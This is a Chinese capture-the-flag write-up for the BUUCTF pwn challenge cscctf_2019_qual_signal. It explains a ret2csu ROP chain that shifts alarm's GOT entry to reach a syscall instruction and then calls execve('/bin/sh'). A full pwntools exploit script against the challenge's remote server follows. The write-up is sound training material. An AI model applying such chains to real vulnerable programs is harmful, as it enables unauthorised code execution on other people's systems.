(BUUCTF)cscctf_2019_qual_signal

文章目录

  • 前置知识
  • 整体思路
  • exp

前置知识

  • ret2csu
  • magic gadget
  • alarm函数的结构

整体思路

思路整体上参考了这篇师傅的文章。

检查程序,有如下特点:

  • 一个明显的栈溢出
  • 没有任何输出,因此难以获取libc地址
  • 程序调用了一个alarm函数
  • 存在ret2csugadget可以使用

有了ret2csu,便可以控制大多数寄存器,并调用任何程序中存在的函数。但没有libc地址,我们难以执行可以获取shell的函数,因此这里考虑使用系统调用来完成,而我们并没有syscall可以使用。

alarm函数有一个特点,它可以通过偏移来获取一个syscall,如下所示:

(BUUCTF)cscctf_2019_qual_signal_第1张图片

因此,若我们能让alarm函数的got表的值加上5,便可以通过调用alarm函数来获得一个syscall

这个部分,我们采用magic gadget来实现。这个magic gadget为:

0x0000000000400618 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

通过这个gadget,我们可以往[rbp - 0x3d]的地方加上ebx的值,而这些都是csu中可控的。

到这里我们就有了实现一个execve('/bin/sh\x00', 0, 0)的系统调用的大部分内容,即:

  • syscall的执行
  • rdi rsi rdx的控制(使用ret2csu

而最后一个内存也就是rax的寄存器的控制了,而rax的值实际上是某些函数的返回值。

因此我们可以通过csu来完成向bssread一个长度为59的字符串,即可让rax的值为59

到这里我们就可以执行execve('/bin/sh\x00', 0, 0)的系统调用来获得shell了。

exp

from pwn import *
from LibcSearcher import *

filename = './cscctf_2019_qual_signal'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 27560)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

front_addr = 0x400730
end_addr = 0x40074a
magic_addr= 0x400618
bss_addr = 0x601100
pop_rdi = 0x400753
pop_rsi_r15_addr = 0x400751

def csu(edi, rsi, rdx, func_addr, rbx, rbp, r12, r13, r14, r15, final_func):
    '''
    edi = r13d
    rsi = r14
    rdx = r15
    
    rbx = 0
    rbp = 1

    '''
    payload = p64(end_addr)
    payload += p64(0) + p64(1) + p64(func_addr) + p64(edi) + p64(rsi) + p64(rdx)
    payload += p64(front_addr)
    payload += p64(0) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(final_func)
    return payload

def control(rbx, rbp, r12, r13, r14, r15):
    payload = p64(end_addr)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    return payload

'''
0x0000000000400618 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
'''

offset = b'a'*0x108
payload = offset + control(5, elf.got['alarm'] + 0x3d, 0, 0, 0, 0) + p64(magic_addr)
payload += csu(0, bss_addr, 0x100, elf.got['read'], 0, 1, 0, 0, 0, 0, end_addr) + p64(0) + p64(0) + p64(elf.got['alarm']) + p64(bss_addr) + p64(0) + p64(0) + p64(front_addr)

# debug()
sh.send(payload)
# pause()
payload = b'/bin/sh\x00'.ljust(59, b'a')
sh.send(payload)
# pause()
sh.interactive()

你可能感兴趣的:(pwn_writeup,安全,pwn,系统安全)